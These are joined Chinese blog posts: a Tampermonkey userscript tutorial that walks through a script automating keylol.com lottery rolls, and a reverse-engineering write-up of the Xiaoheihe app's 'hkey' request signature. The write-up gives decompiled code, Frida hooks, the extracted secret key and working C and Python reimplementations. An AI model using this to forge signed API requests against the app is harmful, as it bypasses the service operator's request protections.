DOM进阶之修改DOM元素 拿到了DOM对象，接下来就可以进行各种操♂作了 本节将会介绍DOM元素的常用方法，以我的博客作为演示，地址：about.html 以标题元素为例，首先我们先获取DOM对象 let h1 = document.querySelector('h1'); console.log(h1); 使用开发者工具可以非常方便的看到DOM元素的方法和属性 枚举子元素 DOM.children 返回值为DOM元素的所有子元素数组，如果不含有子元素，返回的是空数组。 可以通过DOM.children[i]的方式获取某一个子元素 获取/修改文本内容 DOM.textContent 返回值为当前DOM元素内的显示字符（没有被 < > 包起来的所有字符），不仅包括自身，还包括所有子元素 DOM.innerText也有类似的效果，区别是它会去掉多余的换行符 也可以修改DOM.textContent和`DOM.innerText 不过要注意的是，这两个方法会直接替换掉元素内部的内容，如果元素内部有其他子元素的话，子元素会消失。 获取/修改元素CSS 只能修改DOM元素的内联CSS，全局CSS得修改Style元素才行。 CSS相关内容不做过多介绍，贴个简单的教程：菜鸟CSS教程 DOM.style，获取DOM元素的内联CSS样式 DOM.style.[css名称]，获取DOM元素的特定CSS属性，例如textAlign DOM.style.cssText，获取DOM元素的内联CSS样式，纯文本格式 同样的，也可以用类似的方法修改CSS样式 DOM.style.[css名称] = 'xxx'，修改DOM元素的特定CSS属性为xxx DOM.style.cssText = 'aaa: xxx;'，直接修改DOM元素的内联CSS文本，可以一次设置多个CSS 如果想隐藏某些元素的话，可以把它的CSS的display属性设置成none，就会被隐藏起来了 新增子元素 DOM.appendChild( [要插入的DOM对象] ) appendChild会将新插入的对象放在所有子元素的末尾 DOM.insertBefore( [要插入的DOM对象] , [DOM对象，将要插在这个对象之前]) insertBefore可以指定新插入的对象的位置 let h1 = document.querySelector('h1'); let b1 = document.createElement('button'); b1.textContent='按钮1'; let b2 = document.createElement('button'); b2.textContent='按钮2'; h1.appendChild(b1); h1.insertBefore(b2,h1.children[0]); 删除对象 DOM.remove() 这是个方法，所以要加()，调用后会在HTML文本中删除对象对应的内容 添加/删除事件监听器 DOM.addEventListener( [事件名称] , [回调函数])添加事件监听器 DOM.removeEventListener( [事件名称] , [回调函数])移除事件监听器 也可以用以前的写法（不推荐）： DOM.on[事件名称] = [回调函数]添加事件监听器 DOM.on[事件名称] = null移除事件监听器 比如要让h1对象响应click事件，代码如下 let h1 = document.querySelector('h1'); //比较推荐这种写法 h1.addEventListener('click',() => { alert('响应click事件'); }); //也可以用旧风格的写法 h1.onclick = () => { alert('响应click事件'); }; //一些解释： //() => { ... } 定义了一个匿名函数，相当于 function(){ ... } //也可以使用实名函数，比如定义了function foo(){ ... }以后，也可以这么绑定： //h1.addEventListener('click',foo); //h1.onclick = foo; 删除绑定的方法也是类似的，不再赘述 模拟鼠标点击 DOM.click() 相当于鼠标点了一下DOM对象，触发它的click事件（如果有的话） 0x05 第一个油猴脚本 讲了这么久，都是在介绍前端的基础知识，接下来开始正文 首先让我们新建一个用户脚本 按Ctrl+S即可保存 元信息 元信息是给油猴插件使用的，用来记录脚本的属性 新建脚本时给出的默认元信息如下： // ==UserScript== // @name New Userscript //名称 // @namespace http://tampermonkey.net/ //命名空间 // 说明：@namespace相同，@name也相同的脚本会被油猴当做是同一个脚本，这两个属性起到区分不同脚本的作用 // @version 0.1 //版本号 // @description try to take over the world! //说明 // @author You //作者 // @match http://*/* //在什么网址下启用该脚本 // @grant none //特殊权限（调用GM_开头的函数需要先申请权限） // ==/UserScript== 还有部分比较常见的元信息： // @include /https://example.com/.*/ //和@match差不多，但是支持正则表达式，我更喜欢用这个 // @connect example.com //如果脚本需要访问跨域资源，需要提前申明 // @license AGPL-3.0 //脚本的授权许可信息 // @icon https://blog.chrxw.com/favicon.ico //脚本的图标（显示在脚本列表里） 代码区域 (function() { 'use strict'; // Your code here... })(); 首先定义了一个匿名函数function() { ... }，也可以写成我常用的格式，都是等效的： (() => { 'use strict'; // Your code here... })(); 用()把匿名函数包起来，再在后面加一个()，表示直接执行这个匿名函数 其实完全可以把代码写到匿名函数的外部，都可以执行，只是定义域不同而已 'use strict';是伪代码，它告诉解释器，开启严格模式 开启严格模式以后，会进行更严格的语法检查，建议开启，有利于养成良好的编码习惯 // 非严格模式，允许访问未定义变量 (() => { y = 3.14; // 不报错 })(); // 严格模式，允许访问已定义变量 (() => { "use strict"; // 启用严格模式 let y = 3.14; // 不报错（y已定义） })(); // 严格模式，不允许访问未定义变量 (() => { "use strict"; // 启用严格模式 y = 3.14; // 报错（y未定义） })(); 实现功能 接下来我们为脚本编写一些功能，以我的博客作为演示，地址：about.html 首先我们需要修改元信息，让脚步只在特定的网页生效 然后添加作者名称和脚本名称（除了@match都可以随便写） // ==UserScript== // @name 第一个油猴脚本 // @namespace http://blog.chrxw.com/ // @version 0.1 // @description hello world // @author Chr_ // @match https://blog.chrxw.com/about.html // @grant none // ==/UserScript== 我们先不编写脚本，我们先使用开发者工具测试一下代码 首先我们找一个对象下手（如图） 它没有id属性，但是它的class名称独一无二，所以我们可以直接用document.querySelector('.item-thumb')获取到DOM元素 let a = document.querySelector('.item-thumb'); 修改元素的背景图 a.style.backgroundImage='url(/usr/customize/logo.png)'; 添加点击事件 a.addEventListener('click',() => { a.style.background='#f0f'; }); 点一下以后背景变成了品红色 最后我们编写油猴脚本，让这一切自动完成 // ==UserScript== // @name 第一个油猴脚本 // @namespace http://blog.chrxw.com/ // @version 0.1 // @description hello world // @author Chr_ // @match https://blog.chrxw.com/about.html // @grant none // ==/UserScript== (() => { 'use strict'; let a = document.querySelector('.item-thumb'); a.style.backgroundImage='url(/usr/customize/logo.png)'; a.addEventListener('click',() => { a.style.background='#f0f'; }); // Your code here... })(); 保存脚本以后，刷新页面，可以看到元素的背景图片已经改掉了，说明脚本运行成功了。 0x06 脚本实战，Auto_Sub3 脚本获取链接：Auto_Sub3 脚本功能 安装脚本以后，首页可以打开一个面板，主要功能是一键-3 元信息 // ==UserScript== // @name Auto_Sub3 // @namespace https://blog.chrxw.com // @version 2.1 // @description 一键快乐-3 // @author Chr_ // @include https://keylol.com/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // @grant GM_setValue // @grant GM_getValue // @grant GM_xmlhttpRequest // ==/UserScript== 元信息提供了这个脚本的基本信息，我们还可以知道，它申请了GM_setValue,GM_getValue和GM_xmlhttpRequest三个特殊权限 代码总览 // 上次-3时间 let VLast = 0; // 今天还能不能-3 let VCan3 = true; // 自动展开 let VShow = false; // 自动-3 let VAuto = false; // 音效载入 let sound = new Audio("https://blog.chrxw.com/usr/keylol/gas.mp3"); (function () { // 每次加载以后从这里运行 'use strict'; loadCFG(); addBtns(); if (VShow) { switchPanel(); } if (VCan3 && VAuto) { autoRoll(); } })(); // 添加GUI function addBtns() { ... } // 显示小轮盘 function showLiteRoll() { ... } // 自动打开面板 function fBtnShow() { ... } // 自动-3 function fBtnAuto() { ... } // 显示布尔 function bool2txt(bool) { ... } // 隐藏面板 function switchPanel() { ... } // 读取设置 function loadCFG() { ... } // 保存设置 function saveCFG() { ... } // 检查能否-3 function checkZP() { ... } // 禁止-3 function disableS3() { ... } // 自动-3 function autoRoll() { ... } 先不用太纠结代码，建议先用调试模式看一下代码流程 脚本调试模式 在设置里可以打开调试模式，开启以后在加载完脚本以后会自动暂停，可以用来动态调试脚本 打开调试模式以后，先打开开发者工具，然后刷新页面，可以看到暂停在debugger语句上了 给我们感兴趣的函数添加断点，然后点“继续运行（F8）” 可以自己尝试跟踪一下每个函数的运行过程，不再赘述 代码详解 脚本入口 // 上次-3时间 let VLast = 0; // 今天还能不能-3 let VCan3 = true; // 自动展开 let VShow = false; // 自动-3 let VAuto = false; // 音效载入 let sound = new Audio("https://blog.chrxw.com/usr/keylol/gas.mp3"); (function () { 'use strict'; loadCFG(); addBtns(); if (VShow) { switchPanel(); } if (VCan3 && VAuto) { autoRoll(); } })(); 首先定义了5个全局变量，然后运行了匿名函数，在这个匿名函数里完成了脚本的初始化工作 在匿名函数内部调用了这么几个函数：loadCFG，addBtns，switchPanel，autoRoll loadCFG/saveCFG - 读写配置 // 读取设置 function loadCFG() { let t = null; t = GM_getValue('VLast'); t = Number(t); if (t != t) { t = 0; } VLast = t; t = GM_getValue('VCan3'); VCan3 = Boolean(t); t = GM_getValue('VShow'); VShow = Boolean(t); t = GM_getValue('VAuto'); VAuto = Boolean(t); // 日期变更,重置VCan3 let d = new Date(); let day = d.getDate(); let hour = d.getHours(); if (day != VLast && hour >= 8) { VCan3 = true; VLast = day; } saveCFG(); } // 保存设置 function saveCFG() { GM_setValue('VLast', VLast); GM_setValue('VCan3', VCan3); GM_setValue('VShow', VShow); GM_setValue('VAuto', VAuto); } 脚本保存数据的方法有很多种，可以利用原生的Cookie，也可以利用HTML5标准中的LocalStorge，但是这两个地方只能保存文本，我们还需要自行完成类型转换，非常不方便，所以我用的是油猴自带的储存空间 // 需要在元信息里提前申明，才可以使用 // @grant GM_setValue // @grant GM_getValue GM_setValue( 键名 , 键值)，保存某个值 GM_getValue( 键名 )，如果键名不存在，返回null 可以在脚本编辑器的储存TAB看到当前脚本的储存空间 saveCFG非常简单，就是把4个全局变量保存起来 loadCFG也很简单，就是从储存空间读取4个变量，然后获取现在的时间和日期，判断日期有没有变更，如果日期变了，并且当前小时数大于8，就把Vcan3赋值成true，然后把VLast改成今天的日期，最后调用saveCFG保存4个全局变量 addBtns - 添加GUI // 添加GUI function addBtns() { function genButton(text, foo, id) { let b = document.createElement('button');//创建类型为button的DOM对象 b.textContent = text; //修改内部文本为text b.style.cssText = 'margin: 3px 5px;' //添加样式（margin可以让元素间隔开一定距离） b.addEventListener('click', foo); //绑定click的事件的监听器 if (id) { b.id = id; } //如果传入了id，就修改DOM对象的id return b; //返回修改好的DOM对象 } function genDiv(cls) { let d = document.createElement('div'); //创建类型为div的DOM对象 if (cls) { d.className = cls }; //如果传入了cls，就修改DOM对象的class return d; //返回修改好的DOM对象 } function genPanel(name, visiable) { let p = genDiv(name); //创建类型为div，class为name的DOM对象 p.id = name; //修改DOM对象的id为name p.style.cssText = 'width: 100%;height: 100%;';//修改DOM对象的样式（占满父容器） if (!visiable) { p.style.display = 'none'; }//修改DOM对象的样式（不可见） return p; //返回修改好的DOM对象 } //使用CSS选择器获取对象 let btnSwitch = document.querySelector('.index_left_title>div'); if (btnSwitch == null) { return; } btnSwitch.id = 'btnSwitch1'; btnSwitch.title = '点这里开启/隐藏控制面板'; btnSwitch.style.cssText = 'width: auto;padding: 0 5px;cursor: pointer;'; btnSwitch.addEventListener('click', switchPanel); let panelArea = document.querySelector('.index_navi_left'); let panelOri = document.querySelector('.index_left_detail'); panelOri.id = 'panelOri' let panel54 = genPanel('panel54'); let aLP = document.createElement('a'); aLP.href = 'https://keylol.com/t571093-1-1'; let img54 = document.createElement('img'); img54.src = 'https://gitee.com/chr_a1/gm_scripts/raw/master/index.png'; img54.alt = '总之这里是54的名言'; img54.style.cssText = 'float: right;margin-top: -28px;height: 100%;' aLP.appendChild(img54); let btnArea = genDiv('btnArea'); btnArea.style.cssText = 'width: 210px;text-align: center;margin-top: -10px;'; let btnS3 = genButton('【一键-3】', autoRoll, 'btnS3'); if (!VCan3) { btnS3.style.textDecoration = 'line-through'; btnS3.textContent = '今天已经不能-3了'; } let btnShow = genButton(bool2txt(VShow) + '自动打开面板', fBtnShow, 'btnShow'); let btnAuto = genButton(bool2txt(VAuto) + '自动每日-3', fBtnAuto, 'btnAuto'); btnArea.appendChild(btnS3); btnArea.appendChild(btnShow); btnArea.appendChild(btnAuto); panel54.appendChild(aLP); panel54.appendChild(btnArea); panelArea.insertBefore(panel54, panelArea.children[1]); } 看着很长，实际上很简单，首先定义了3和内部函数genButton，genDiv，genPanel，用来生成我们需要的DOM元素 然后尝试用选择器获取DOM对象 let btnSwitch = document.querySelector('.index_left_title>div');//使用CSS选择器获取DOM对象 if (btnSwitch == null) { return; } //如果页面中不存在这个对象，就直接返回，结束运行 btnSwitch.id = 'btnSwitch1'; //添加id属性 btnSwitch.title = '点这里开启/隐藏控制面板'; //添加title属性（鼠标悬停的时候显示的文本） btnSwitch.style.cssText = 'width: auto;padding: 0 5px;cursor: pointer;';//添加CSS样式 btnSwitch.addEventListener('click', switchPanel);//绑定click事件的回调函数为switchPanel 可以利用开发者工具看一下是哪个对象 剩下的部分也很好理解，创建3个button对象，1个img对象，依次添加到名为panel54的div对象里，最后再把panel54添加到panelArea中 let panelArea = document.querySelector('.index_navi_left'); let panelOri = document.querySelector('.index_left_detail'); panelOri.id = 'panelOri' let panel54 = genPanel('panel54'); let aLP = document.createElement('a'); aLP.href = 'https://keylol.com/t571093-1-1'; let img54 = document.createElement('img'); img54.src = 'https://gitee.com/chr_a1/gm_scripts/raw/master/index.png'; img54.alt = '总之这里是54的名言'; img54.style.cssText = 'float: right;margin-top: -28px;height: 100%;' aLP.appendChild(img54); let btnArea = genDiv('btnArea'); btnArea.style.cssText = 'width: 210px;text-align: center;margin-top: -10px;'; let btnS3 = genButton('【一键-3】', autoRoll, 'btnS3'); if (!VCan3) { btnS3.style.textDecoration = 'line-through'; btnS3.textContent = '今天已经不能-3了'; } let btnShow = genButton(bool2txt(VShow) + '自动打开面板', fBtnShow, 'btnShow'); let btnAuto = genButton(bool2txt(VAuto) + '自动每日-3', fBtnAuto, 'btnAuto'); btnArea.appendChild(btnS3); btnArea.appendChild(btnShow); btnArea.appendChild(btnAuto); panel54.appendChild(aLP); panel54.appendChild(btnArea); panelArea.insertBefore(panel54, panelArea.children[1]); 通过switchPanel，可以切换显示原来的元素和脚本的面板 // 隐藏面板 function switchPanel() { let panel1 = document.getElementById('panel54'); let panel2 = document.getElementById('panelOri'); if (panel1.style.display == 'none') { btnSwitch1.textContent = '今天你【-3】了吗 - By Chr_'; panel1.style.display = 'block'; panel2.style.display = 'none'; } else { btnSwitch1.textContent = '关注重点'; panel1.style.display = 'none'; panel2.style.display = 'block'; } } 运行效果： autoRoll - 自动-3 最后我们看一下核心功能，自动-3 // 自动-3 function autoRoll() { try { sound.play(); } catch (e) { console.error(e); } let v = 0; gethash(); function gethash() { GM_xmlhttpRequest({ method: "GET", url: 'https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43', onload: function (response) { if (response.status == 200) { let m = response.responseText.match(/plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/); let hash = m ? m[1] : null; console.log(hash); if (hash != null) { roll(hash); roll(hash); roll(hash); } else { disableS3(); saveCFG(); } } else { console.error('出错'); } } }); } function roll(hash) { GM_xmlhttpRequest({ method: "GET", url: 'https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43&hash=' + hash + '&roll', onload: function (response) { if (response.status == 200) { console.log(response.responseText); } else { console.error('出错') } if (++v == 3) { disableS3(); saveCFG(); } } }); } } 乍一看非常复杂，实际上也很好理解 try { sound.play(); } catch (e) { console.error(e); } let v = 0; gethash(); 首先调用sound.play()，播放蒸汽泄漏的音效，sound是全局变量，会在网页载入的时候自动加载音频资源，如果遇到错误就忽略错误（比如网络问题加载音频失败的话就会报错） 然后调用了gethash方法 function gethash() { GM_xmlhttpRequest({ method: "GET", url: 'https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43', onload: function (response) { if (response.status == 200) { let m = response.responseText.match(/plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/); let hash = m ? m[1] : null; console.log(hash); if (hash != null) { roll(hash); roll(hash); roll(hash); } else { disableS3(); saveCFG(); } } else { console.error('出错'); } } }); } 这个函数使用了GM_xmlhttpRequest，这个东西是一个网络请求器，深入了解可以参考官方文档（英语），GM_xmlhttpRequest类似于xmlHttpRequest，两者用法几乎一样，只是GM_xmlhttpRequest不存在跨域的问题 // 需要先在元信息里申明，才可以使用 // @grant GM_xmlhttpRequest 简单的用法如下 GM_xmlhttpRequest({ method: '', //请求方法，可以是 GET POST HEAD 等 url: '', //请求路径，简单的说就是url onload: (response) => { //请求被响应时执行，response是接受到的响应的对象 //response.status，获取响应代码（200代表请求成功,4xx和5xx代表请求出错） //response.responseText，获取响应文本，本例中获取到的是HTML文本 //response.responseXML，获取XML格式的响应文本 } }); 看到onload的回调函数部分 onload: (response) => { if (response.status == 200) { let m = response.responseText.match(/plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/); let hash = m ? m[1] : null; console.log(hash); if (hash != null) { roll(hash); roll(hash); roll(hash); } else { disableS3(); saveCFG(); } } else { console.error('出错'); } } 首先判断状态码是不是200（代表请求成功），请求成功才会处理响应的内容 可以在浏览器中打开链接，用开发者工具模拟一下处理过程 我们把响应的内容当做纯文本处理，使用正则表达式提取想要的内容 正则表达式深入学习可以参考这个：正则表达式 - 语法 let a = document.body.innerHTML; console.log(a.match(/plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/)); 简单的讲一下上面的正则表达式是什么意思 /plugin\.php\?id=steamcn_lottery:view&lottery_id=43&hash=(.+)&roll/ // 两边的 / 就是告诉解释器里面是正则表达式，没别的意思 // 按照不同元素拆分，如下： // plugin - 匹配“plugin”这个字符串 // \. - 匹配“.”，“.”原来有别的意思，在前面加“\”转义以后就只有字面意思了 // id=steamcn_lottery:view&lottery_id=43&hash= - 匹配一整串字符串 // (.+) - “()”是子匹配的意思，“.+”意思是匹配至少一个字符 // - “(.+)”的意思是不仅要匹配至少一个字符，而且匹配到的文本需要返回 // &roll - 匹配“&roll”这个字符串 简单点说就是先找到plugin.php?id=steamcn_lottery:view&lottery_id=43&hash=[XXXXXXX]&roll这一串字符串，然后提取中间的XXXXXXX 执行效果如下，可以看到返回了一个数组，第一个元素是匹配到的字符串，第二个元素是子匹配项，我们只需要子匹配项，也就是8b51a2d3（这个值不同用户是不一样的，所以需要动态获取） 然后就是赋值操作，用到了三目运算符号 let hash = m ? m[1] : null; // D = A ? B : C // 等价于： if(A){ D = B; }else{ D = C; } // 当A的逻辑意义为true时，返回值为B // 当A的逻辑意义为false时，返回值为C // 类似这样 let a = true ? 1 : 2; // a = 1 let a = false ? 1 : 2; // a = 2 如果正则表达式没有匹配到合适的字符串，返回的内容是null，逻辑意义等于false，这时候hash的值就取null 如果正则表达式匹配到了合适的字符串，返回的内容是数组，逻辑意义等于true，这时候hash的值就取数组的第2个元素 然后根据hash决定是不是要继续运行 if (hash != null) { roll(hash); roll(hash); roll(hash); } else { disableS3(); saveCFG(); } 最后是roll函数，核心也是一个网络请求器 function roll(hash) { GM_xmlhttpRequest({ method: "GET", url: 'https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43&hash=' + hash + '&roll', onload: function (response) { if (response.status == 200) { console.log(response.responseText); } else { console.error('出错') } if (++v == 3) { disableS3(); saveCFG(); } } }); } 实际上就是访问https://keylol.com/plugin.php?id=steamcn_lottery:view&lottery_id=43&hash=[XXXXXXX]&roll这个网站，然后把响应结果打印出来 可以根据上一步得到的hash在浏览器中试一下 调用以后，会自增v，如果v = 3，就调用disableS3和saveCFG，修改了按钮的名称，然后保存全局变量
前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] 前情提要 就在我写完上一篇文章后没过一个礼拜，小黑盒就又改 hkey 计算方法了，断断续续花了一礼拜终于搞清楚它的算法。 在这里分享一下逆向的过程。 @> 本文适用于小黑盒 1.3.121 ~ 1.3.124 ，小黑盒历史版本参考我的仓库 Smali 分析 使用Jadx打开安装包，找到hkey的计算函数 可以看到两个版本的 hkey 计算方式略有区别，最明显的就是替换的字符改了 修改以后还是提示参数错误，肯定是 encode 函数也改了，接下来换用IDA So 分析 先贴一下IDA生成的反汇编代码，也不用看的很仔细 int __fastcall encode(int *a1, int a2, int a3, int a4, int a5) { int *v5; // r9 int v6; // r11 _DWORD *v7; // r4 char *v8; // r5 char *v9; // r0 size_t v10; // r0 int v11; // r10 int v12; // r0 int v13; // r0 _DWORD *v14; // r2 const char *v15; // r1 char *v16; // r10 const char *v17; // r11 size_t v18; // r4 size_t v19; // r4 signed int v20; // r8 char *v21; // r6 char *v22; // r0 int v23; // r12 int i; // lr int v25; // r5 int v26; // r0 unsigned int v27; // r4 int v28; // r3 unsigned int v29; // r1 int v30; // r8 const char *v31; // r4 int j; // r1 int k; // r0 int v34; // r0 size_t v35; // r5 size_t v36; // r6 char *v37; // r5 char *v38; // r0 int v39; // r1 int v40; // r12 int l; // lr int v42; // r6 int v43; // r0 unsigned int v44; // r4 int v45; // r3 unsigned int v46; // r2 int result; // r0 int v48; // [sp+0h] [bp-48h] int v49; // [sp+4h] [bp-44h] int *v50; // [sp+8h] [bp-40h] char *nptr; // [sp+Ch] [bp-3Ch] int v52; // [sp+10h] [bp-38h] _DWORD *v53; // [sp+14h] [bp-34h] char s; // [sp+19h] [bp-2Fh] int v55; // [sp+24h] [bp-24h] v5 = a1; v6 = a4; v7 = &_stack_chk_guard; if ( j_check_signature(a1) != 1 ) goto LABEL_28; v53 = &_stack_chk_guard; v8 = (char *)&v48 - ((strlen(KEYTWO[0]) + 62) & 0xFFFFFFF8); v9 = strcpy(v8, KEYTWO[0]); v10 = strlen(v9); _aeabi_memcpy(&v8[v10], "/xDu7EuCQfjaRk4TBKXrnhrlnkz@%$^&*(-_-)hahaha(-_-)_time=", 56); v7 = 0; v11 = (*(int (__fastcall **)(int *, int, _DWORD))(*v5 + 676))(v5, v6, 0); v12 = *v5; v52 = a5; v13 = (*(int (__fastcall **)(int *, int, _DWORD))(v12 + 676))(v5, a5, 0); if ( v11 ) { v14 = v53; if ( !v13 ) goto LABEL_26; v49 = v6; v50 = &v48; v15 = (const char *)v11; v16 = (char *)v13; v17 = v15; v18 = strlen(v15); v19 = v18 + strlen(v8); v20 = v19 + strlen(v16); v21 = (char *)&v48 - ((v20 + 7) & 0xFFFFFFF8); strcpy((char *)&v48 - ((v20 + 7) & 0xFFFFFFF8), v17); v22 = strcat(v21, v8); nptr = v16; strcat(v22, v16); v23 = v20 - 1; for ( i = 0; v23 > i; ++i ) { v25 = 0; while ( v25 < v23 - i ) { v26 = (int)&v21[v25]; v27 = (unsigned __int8)v21[v25]; v28 = v25; v29 = (unsigned __int8)v21[v25++ + 1]; if ( v27 > v29 ) { v21[v28] = v29; *(_BYTE *)(v26 + 1) = v27; } } } v30 = v20 / 3; v31 = (const char *)malloc(v30 + 2); for ( j = 0; j <= v30 + 1; ++j ) v31[j] = 0; for ( k = 0; k <= v30; ++k ) v31[k] = v21[3 * k]; v34 = atoi(nptr); sprintf(&s, "%#x", v34); v35 = strlen(v31); v36 = strlen(&s) + v35; v37 = (char *)&v48 - ((v36 + 7) & 0xFFFFFFF8); v38 = strcpy(v37, v31); strcat(v38, &s); v39 = v49; v40 = v36 - 1; for ( l = 0; v40 > l; ++l ) { v42 = 0; while ( v42 < v40 - l ) { v43 = (int)&v37[v42]; v44 = (unsigned __int8)v37[v42]; v45 = v42; v46 = (unsigned __int8)v37[v42++ + 1]; if ( v44 > v46 ) { v37[v45] = v46; *(_BYTE *)(v43 + 1) = v44; } } } (*(void (__fastcall **)(int *, int, const char *))(*v5 + 680))(v5, v39, v17); (*(void (__fastcall **)(int *, int, char *))(*v5 + 680))(v5, v52, nptr); v7 = (_DWORD *)j_charToJstring(v5, v37); } v14 = v53; LABEL_26: if ( *v14 == v55 ) return (int)v7; LABEL_28: result = *v7 - v55; if ( *v7 == v55 ) result = j_j_charToJstring(v5, UNSIGNATURE[0]); return result; } 撇开变量部分，稍微整理了一下变量名，以_p结尾的都是指针，具体变量类型参考原始代码 首先可以看到调用了_stack_chk_guard，看名字应该是栈溢出保护，不管他 第58~61行看起来复杂实际上是新建了一个数组，然后把字符串KWYTWO和/xDu7EuCQfjaRk4TBKXrnhrlnkz@%$^&*(-_-)hahaha(-_-)_time=拼起来存进数组buffer1中 最后有两个__fastcall，根据变量名称，猜测跟传入的参数有关 首先检查了是否传入了urlpath和timestamp这两个变量，如果传入值为空就跳出 第77~84行看起来挺复杂，实际上就是计算出urlpath+buffer1+timestamp的长度(用于开辟内存空间)，然后把这三个字符串拼起来，存进buffer2中 最后是一个循环，看上去蛮复杂，实际上就是冒泡排序，让buffer2中的字符按照Ascii顺序排序 首先取buffer2长度的 1/3+2，创建数组buffer3，然后清空数组，然后是一个循环，buffer3[k] = buffer2[k*3]，数组长度要加2是因为字符串结尾有个\0，以及避免特殊情况数组越界 第109~116行，先把时间戳timestamp转换成十六进制，然后跟buffer3拼接起来，存进buffer4 第118~134行跟刚刚很像，是对buffer4的冒泡排序 最后就是调用charToJstring然后返回 Frida Hook 这里就以验证为主，Hook了3个函数charToJstring,strcpy,strcat，hook.js如下： console.log("脚本载入成功"); Java.perform(function() { var charToJstringAddr = Module.findExportByName("libnative-lib.so", "charToJstring"); console.log(charToJstringAddr); if (charToJstringAddr != null) { Interceptor.attach(charToJstringAddr, { onEnter: function(args) { var arg0 = args[0]; var arg1 = args[1]; console.log('charToJstring - Enter'); console.log(Memory.readCString(arg0)); console.log(Memory.readCString(arg1)) }, onLeave: function(retval) { console.log('======') } }) } var strcat = Module.findExportByName("libc.so", "strcat"); console.log(strcat); if (strcat != null) { Interceptor.attach(strcat, { onEnter: function(args) { var arg0 = args[0]; var arg1 = args[1]; console.log('strcat - Enter'); console.log(Memory.readCString(arg0)); console.log(Memory.readCString(arg1)) }, onLeave: function(retval) { console.log('======') } }) } var strcpy = Module.findExportByName("libc.so", "strcpy"); console.log(strcpy); if (strcpy != null) { Interceptor.attach(strcpy, { onEnter: function(args) { var arg0 = args[0]; var arg1 = args[1]; console.log('strcpy - Enter'); console.log(Memory.readCString(arg0)); console.log(Memory.readCString(arg1)) }, onLeave: function(retval) { console.log('======') } }) } }); 可以配合上面的分析一起看，还是比较好理解的 算法实现 C语言实现 半抄半改写出来的，buffer4存放的是计算结果 #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { // 输入1：/bbs/app/link/view/time // 输入2：1597893810 // 输出1：$()++-/////01245789=CGKMPRUZ_aaabeefhiijklmnopqrtuvwxz （中间结果） // 输出2：$()++-/////001223455789=CGKMPRUZ_aaabbcdeeeffhiijklmnopqrtuvwxxz char buffer1[200] = "//Z1q/Gb/R///+9xZ561TtoHjPrv2ew0Ln8vZnI5oObw+++oa3zw++1yd7wMqU/eNKahfmji5/xDu7EuCQfjaRk4TBKXrnhrlnkz@%$^&*(-_-)hahaha(-_-)_time="; //密钥字符串 char buffer2[200] = "\0"; char buffer3[200] = "\0"; char buffer4[200] = "\0"; char buffer5[200] = "\0"; int timestamp = 1597893810; char timestamp_s[] = "1597893810"; char urlpath[] = "/bbs/app/link/view/time"; int i, m = 0; int count = 0; int t1, t2 = 0; int buffer2_len; int buffer3_len; strcpy(buffer2, urlpath); strcat(buffer2, buffer1); strcat(buffer2, timestamp_s); // buffer2内容是 url路径+buffer1+时间戳 buffer2_len = strlen(buffer2); count = buffer2_len - 1; for (i = 0; i < count; ++i) { m = 0; while (m < count - i) { t1 = buffer2[m]; t2 = buffer2[m + 1]; if (t1 > t2) { buffer2[m] = t2; buffer2[m + 1] = t1; } m++; } } buffer3_len = buffer2_len / 3; for (i = 0; i <= buffer3_len; ++i) buffer3[i] = buffer2[3 * i]; sprintf(buffer5, "%#x", timestamp); strcpy(buffer4, buffer3); strcat(buffer4, buffer5); count = strlen(buffer4) - 1; for (i = 0; i < count; i++) { m = 0; while (m < count - i) { t1 = buffer4[m]; t2 = buffer4[m + 1]; if (t1 > t2) { buffer4[m] = t2; buffer4[m + 1] = t1; } m++; } } puts(buffer4); } Python实现 import hashlib # 密钥字符串 ENC_STATIC = '//Z1q/Gb/R///+9xZ561TtoHjPrv2ew0Ln8vZnI5oObw+++oa3zw++1yd7wMqU/eNKahfmji5/xDu7EuCQfjaRk4TBKXrnhrlnkz@%$^&*(-_-)hahaha(-_-)_time=' # 测试样例 test = [ ('/account/data_report', 1597919951, '$()++-////0112235555789=CGKMPRUZ__aaaccdeefffhijkmnooqrrtuvwxxz'), ('/game/get_game_name', 1597920084, '$()++-////001233445555679=CGKMPRUZ__aaabeeeffghhjkmmnnortuvwxxz'), ('/bbs/app/feeds/news', 1597920132, '$()++-/////011233345556789@DHKNQTXZ_aabbeeeffhhijlnnoprstuwwxxz'), ('/bbs/app/profile/subscribed/events', 1597920180, '$()++-/////00113334555679=CGKMPRUZ_aaabbbdeeeffhhijkmnnopqrsstuvwxxz'), ('/bbs/app/link/view/time', 1597920216, '$()++-/////00123335556789=CGKMPRUZ_aaabdeeeffhiijklmnopqrtuvwxxz') ] # 计算MD5 def md5_calc(data: str) -> str: md5 = hashlib.md5() md5.update(data.encode('utf-8')) result = md5.hexdigest() return(result) # encode实现 def encode(url: str, t: int) -> str: enc = list(f'{url}{ENC_STATIC}{t}') count = len(enc) - 1 for i in range(0, count): for j in range(0, count-i): if (enc[j] > enc[j+1]): enc[j], enc[j+1] = enc[j+1], enc[j] l = len(enc) // 3 + 1 enc += '\0' enc = [enc[3*i] for i in range(0, l)] if enc[-1] == '\0': enc = enc[:-1] enc += list(hex(t)) count = len(enc)-1 for i in range(0, count): for j in range(0, count-i): if (enc[j] > enc[j+1]): enc[j], enc[j+1] = enc[j+1], enc[j] result = ''.join(enc) return(result) # 算法验证 for i, j, k in test: s = encode(i, j) if (s == k): print(i, j, '测试通过') print(k) else: print(i, j, '测试失败') print(k) print(s) 后记 @> 全文完，完整项目在GitHub上开源：链接 (求Star)
前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] 静态分析 之前解决了验证码参数hkey的计算，但是还有一种加密请求，本文就是找出他的加密方式 这是参加Roll房的请求，请求参数中并没有房间ID，猜测这个参数在加密后的请求体中。 @> 全文评论后可见 后续 [post cid="1383"/]